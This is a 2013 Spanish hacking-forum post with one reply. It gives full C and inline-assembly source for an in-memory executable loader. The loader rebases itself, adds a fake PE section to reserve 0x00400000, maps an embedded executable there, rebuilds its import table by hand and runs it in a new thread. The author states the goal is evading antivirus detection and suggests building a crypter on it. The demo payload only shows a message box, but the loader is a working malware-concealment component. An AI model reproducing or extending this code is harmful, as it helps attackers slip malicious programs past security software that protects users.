Otra forma de inyectar un ejecutable en memoria (DummySection)

Iniciado por [Zero], Junio 16, 2013, 05:51:09 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 16, 2013, 05:51:09 PM Ultima modificación: Junio 16, 2013, 05:55:24 PM por [Zero]
Bueno, pues al fin se me ocurrió otra forma de hacer que podamos cargar un ejecutable en memoria y ejecutarlo que aún no sea (o no sea tan) detectada por los antivirus. Llevaba mucho tiempo pensando en ello, y la idea básica que tenía era clara: Cambiar el ImageBase del Loader ( el programa que cargará el ejecutable en memoria) por algo como 0x00100000 y así dejar 0x00400000 libre, que es donde se quieren cargar el 99.9% de los ejecutables. Una vez hecho esto llegaba lo difícil, reservar de alguna forma la dirección de memoria 0x00400000 para poder tener ahí permisos de lectura escritura y ejecución. En un primer momento había pensado en hacer uso del primer parámetro de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, pero no funcionó; esa memoria no siempre está libre cuando se inicia el Loader, por lo que aveces sí conseguía reservar memoria en esa dirección, pero otras veces no, así que no valía, el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta lo ponía difícil.

Dejé el tema apartado por un tiempo hasta que el otro día se me ocurrió algo muy simple: Crear una sección falsa en la cabecera PE del Loader, que permitiera reservar la ansiada 0x00400000 y de tamaño el mismo valor que el SizeOfImage del ejecutable que queremos inyectar. Para lograr esto debemos recordar que el campo VirtualAddress es un RVA que por lo tanto se sumará al ImageBase del archivo, entonces para poder reservarla debemos restar al ansiado 0x00400000 nuestro ImageBase en nuestro caso 0x00100000 dando como resultado 0x00300000, además debemos editar el VirtualSize de la ultima sección con el nuevo VirtualAddress menos el VirtualAddress de dicha sección con lo cual no desalinearemos. Además debemos recordar que al ser una sección falsa no debe tener PointerToRawData ni RawSize. Una vez hecho esto el loader de Windows se encargará de reservarnos memoria en esa dirección, pudiendo así utilizarla para lo que queremos, como utilizarla para inyectar nuestro ejecutable. Entonces hice el siguiente código, que compilo de forma que el ImageBase se quede a 0x00100000 y asumiento que tengo acceso a la memoria que se encuentra apartir de 0x00400000.

Código: c

#pragma comment(linker,"/NODEFAULTLIB")
#pragma comment(linker,"/ENTRY:main")

#include <windows.h>
#include "resource.h"

void mCopyMemory(LPVOID bEscritura,LPVOID bLectura,DWORD lenBuffer);

int main()
{
//Dirección base del exe que inyectaremos
int InjectedImageBase=0x00400000;
LPBYTE lpBuffer=(LPBYTE)InjectedImageBase;

//Cargamos el exe que inyectaremos del resource
HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE");
HGLOBAL hGlob=LoadResource(NULL,hResource);
DWORD FileSize=SizeofResource(NULL,hResource);
LPBYTE lpFileMaped=(LPBYTE)LockResource(hGlob);

PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INTH;
PIMAGE_SECTION_HEADER ISH;

//Obtenemos la cabecera DOS y PE
IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];

//Damos permisos de lectura, escritura y ejecución a la Dummy Section
DWORD OldProtect;
VirtualProtect(lpBuffer,0x3000,PAGE_EXECUTE_READWRITE,&OldProtect);

//Copiamos la cabecera DOS y PE al buffer
mCopyMemory(&lpBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders);

//Copiamos las secciones en su VirtualOffset en el buffer
for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
{
ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
mCopyMemory(&lpBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData);
}

//---------------------------------------------------------------------
/* -Cargamos la IAT a mano para que funcionen las API's importadas   */
//---------------------------------------------------------------------

PIMAGE_THUNK_DATA ITD;
PIMAGE_IMPORT_BY_NAME IIBN;

//Comprobamos si hay Import Data Descriptor
if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
{
//Si lo hay lo obtenemos en la estructura
PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)(lpBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

//Vamos recorriendo todas las Dll's importadas por el ejecutable
for (;IID->Name;IID++)
{
//Cargamos la dll
HMODULE hLib=LoadLibraryA((LPCSTR)(lpBuffer+IID->Name));

//Obtenemos la dirección al primer miembro del array Image Thunk Data's
ITD=(PIMAGE_THUNK_DATA)((DWORD)lpBuffer+IID->FirstThunk);

//Vamos recorriendo las funciones importadas
for (;ITD->u1.Ordinal;ITD++)
{
//Cargamos el Image Import By Name para obtener el nombre
IIBN=(PIMAGE_IMPORT_BY_NAME)(lpBuffer+ITD->u1.Function);
//Obtenemos la dirección de la función y la guardamos en la IAT
ITD->u1.Function=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
}
}
}

//Creamos el hilo de ejecución
CreateThread(0,0,(LPTHREAD_START_ROUTINE)(lpBuffer+INTH->OptionalHeader.AddressOfEntryPoint),NULL,0,0);

MessageBoxA(0,"I'm the Loader Running!",":D",0);

return 0;
}

//Función que simula RtlCopyMemory
void __declspec(naked) mCopyMemory(LPVOID bEscritura,LPVOID bLectura,DWORD lenBuffer)
{
__asm
{
pushad
mov esi,[esp+0x28] //bLectura
mov ecx,[esp+0x2C] //lenBuffer
mov edi,[esp+0x24] //bEscritura
dec ecx

bCopyMemory:
dec ecx
movsb
cmp ecx,0
jge bCopyMemory
popad
ret
}
}

Un resumen de lo que hace el código anterior:

  • Obtiene el ejecutable que tiene embebido en el resource.
  • Da permisos de lectura, escritura y ejecución a la memoria a partir de 0x00400000.
  • Copia la cabecera PE y las secciones en el sitio correspondiente a cada una de ellas dentro de esa memoria.
  • Rellena la IAT con los valores correspondientes, pues el loader de Windows no lo va a hacer (no hemos creado ningún proceso nuevo.
  • Crea un nuevo hilo de ejecución en el EntryPoint del ejecutable inyectado.

Faltarían algunas cosas, como adaptar el PEB para que se lleve bien con ambos ejecutables inyectados (o con uno sólo), o arreglar la parte que carga la IAT manualmente para que rellene tambien las importaciones que se hacen por ordinales (si saco tiempo actualizo el post con las modificaciones para hacer esto), pero para mostrar que funciona nos sirve.

El ejecutable que puse en el resource es el siguiente, compilado con ImageBase 0x00400000:

Código: c

#pragma comment(linker,"/NODEFAULTLIB")
#pragma comment(linker,"/ENTRY:main")

#include <windows.h>

int main()
{
MessageBoxA(0,"I'm the Injected Exe Running!",":D",0);
return 0;
}


Sólo nos falta hacer una última cosa para que funcione: En el primer código hemos supuesto que tenemos ya reservada memoria en 0x00400000, pero no hemos hecho nada para que así sea, así que, como dije al principio del texto, vamos a crear una nueva sección que servirá únicamente para hacer eso, ocupar esa memoria :P. Yo añadí la sección con el LordPE, teniendo el segundo código compilado originalmente así:


Y con la nueva sección añadida:


Ahora sí está todo listo, arrancamos el ejecutable y voilà:


Notas:

  • En el primer código he hardcodeado el ImageBase y el SizeOfImage del ejecutable que inyecto, lo hice por comodidad, pero si quieres hacer por ejemplo un crypter que use esta técnica deberás obtener estos valores del ejecutable.
  • Cuando saque tiempo publicaré otra entrada en la que mostraré el código de un crypter que use esta téncia, veremos a cauntos Antivirus engañamos :P.

Saludos
   
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Veo que ya te llevas la casa a otro lugar. Seguro que les gusta este aporte aunque tenga ya tiempo

Saludos